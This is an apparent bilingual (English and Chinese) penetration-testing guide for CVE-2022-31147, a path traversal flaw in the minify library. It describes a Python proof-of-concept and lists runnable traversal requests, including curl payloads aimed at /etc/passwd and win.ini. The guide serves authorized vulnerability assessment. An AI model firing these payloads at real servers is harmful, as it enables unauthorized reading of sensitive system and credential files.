
CVE-2022-31147 is a path traversal flaw in matthiasmullie/minify. This guide helps security teams test for arbitrary file read on Linux and Windows using Python and curl. It covers automated payload generation, manual validation, and safe practices for vulnerability assessment.
本指南提供了针对 CVE-2022-31147 的全面测试方法,这是一个影响广泛使用的 matthiasmullie/minify 库的严重路径遍历漏洞。该漏洞允许攻击者利用 minify 端点中不充分的输入清理,在 Linux 和 Windows 服务器上实现任意文件读取。本指南面向安全专业人员、渗透测试人员以及希望评估 Web 应用对该威胁暴露情况的研究人员。
本指南的核心是一个自动化的 Python 概念验证脚本,它系统性地生成并测试多种遍历载荷。这些载荷利用不同深度的目录遍历(../)、多种编码方案(如 URL 编码和双重编码)以及端点变体(包括伪扩展名和查询参数),来绕过常见的路由和过滤机制。通过运用这些技术,该脚本能够在即使存在基础 Web 应用防火墙或自定义路由逻辑的环境下,最大程度地检测到易受攻击的配置。
检测准确性进一步通过内置的启发式规则得到增强,这些规则会分析响应内容中的已知文件标记。对于 Linux 目标,脚本会搜索 /etc/passwd 或其他敏感文件的典型模式;对于 Windows 系统,它会在 win.ini 等文件中寻找指示性内容。这种方法确保了成功利用能被可靠地识别,最大程度减少了误报,并简化了验证过程。
除了自动化测试,本指南还概述了使用 curl 的手动验证技术,使实践者能够构建并发送自定义请求以进行针对性分析,或独立验证发现结果。全程强调安全与授权测试的建议,包括仅在已获得明确许可的系统上进行评估的重要性。
python3 cve-2022-31147_poc.py --base https://yourdomain.tld/cdn/minify --linux --file /etc/passwd
python3 cve-2022-31147_poc.py --base https://yourdomain.tld/cdn/minify --windows --file C:\Windows\win.ini
在服务器上创建一个无害文件,然后尝试读取它:
python3 cve-2022-31147_poc.py --base https://yourdomain.tld/cdn/minify --file /var/www/test.txt
curl -i "https://yourdomain.tld/cdn/minify/../../../../../../etc/passwd"
curl -i "https://yourdomain.tld/cdn/minify/../../../../../../windows/win.ini"
curl -i "https://yourdomain.tld/cdn/minify/%2e%2e/../%2e%2e/../../etc/passwd"
curl -i "https://yourdomain.tld/cdn/minify/../../../../../../etc/passwd.css"
https://yourdomain.tld/cdn/minify 替换为您的实际目标 URL。